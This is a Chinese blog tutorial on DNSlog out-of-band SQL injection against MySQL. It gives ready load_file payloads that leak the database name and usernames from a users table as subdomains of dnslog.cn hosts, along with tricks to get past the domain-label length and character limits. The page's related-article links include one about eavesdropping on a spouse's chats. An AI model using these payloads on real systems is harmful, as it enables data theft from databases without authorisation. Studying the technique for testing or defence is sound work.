DNSlog注入详细解析

访客4年前黑客资讯1121


DNSlog注入语句

select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

//转换之后的结果为:\\security.gitw7c.dnslog.cn

原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。

域名知识:

域名可以分为5级,从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了
1609138708_5fe982145b303fee7c932.png!small?1609138709598
域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从 *** 中解析了。


如:
1609138413_5fe980ed4a2f088d1b382.png!small?1609138414633
当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析
1609138427_5fe980fb3cec4799c6e7b.png!small?1609138428518

sql payload

当我在域名中拼接一个@符号时,就不会进行解析
1609138439_5fe9810779de49e8b1da1.png!small?1609138440761

1609138452_5fe9811496e01b6397e36.png!small?1609138453908
也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,
1609138471_5fe98127ac52b96f45764.png!small?1609138472939

更佳方案

不过事情总是有解决的办法的,通过我不断地构造语句,之后使用replace,substr等函数,成功绕过了url解析的问题
如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))
通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了,并且我们只需要将查询结果的字符长度控制在63个就可以了.
如图:
1609138557_5fe9817d0ebaae06cbe7f.png!small?16091385583281609138565_5fe981855e7b2ffd90dec.png!small?1609138566675


作者:GoodXuan ? ·
学校:必安科技-必火 *** 安全? ? ? ? ? ? ? ? ? ? ? ?·
E-mail:2596456807@qq.com? ·
如若转载请在文章中表明原文章出处与作者? ·


相关文章

秦欲记茶叶报价表(广元高阳扁茶多少一盒)

本山秦欲记茶叶价格表批发价查询 秦欲记茶叶156盒   1242元/斤   秦欲记茶叶175克   2639元/两   秦欲记茶叶301斤   5533元/包   秦欲记茶叶479盒   431...

怎么制作网站?教你如何免费做网站

怎么制作网站?教你如何免费做网站

其实每个人都可以做网站,现在发展这么快,有很多网站源码都可以免费使用了,那么我们如何在不花钱的情况下建立一个属于自己的网站呢。       一、用自己的电脑搭建网站 我们可以在自己的电脑...

有没有黑客服务下载软件(黑客软件免费下载)

有没有黑客服务下载软件(黑客软件免费下载)

本文目录一览: 1、黑客软件如何下载 2、hacker需要的软件! 3、2016 黑客的 Android 工具箱都有哪些 4、软件Process Hacker绿色版便携版在哪里可以下载的到...

黑客技术教你几种方法窃听老婆的语音聊天?

网民的网屏自动录像也将成为QQ远程监控软件录制QQ聊天记录。如何只在对方的QQ聊天窗口打开时进行录像,使其成为我们需要的QQ远程监控软件。 黑客技术教你几种方法窃听老婆的语音聊天 试试这种方法:1...

新基建IT产业图谱:新基建崭新概念,新动能闪亮登场

新基建IT产业图谱:新基建崭新概念,新动能闪亮登场

纵观“新基建”的七大偏向,个中与IT相关的财富有4个:大数据中心、人工智能、5G基站和家产互联网。“新基建”对付IT财富的重视水平可见一斑。 新基建政策解读 据新华社报道,中共中央政治局常务委员会3...

黑帽SEO优化排名技术方法大全完整总结篇

黑帽SEO优化排名技术方法大全完整总结篇

网站黑帽SEO方法主要是研究和利用搜索引擎算法漏洞,其手法不符合主流搜索引擎发行方针规定,优化方法采用的也是搜索引擎禁止的方式去优化网站的,影响搜索引擎对网站排名的合理和公正性。黑帽SEO行为通常也就...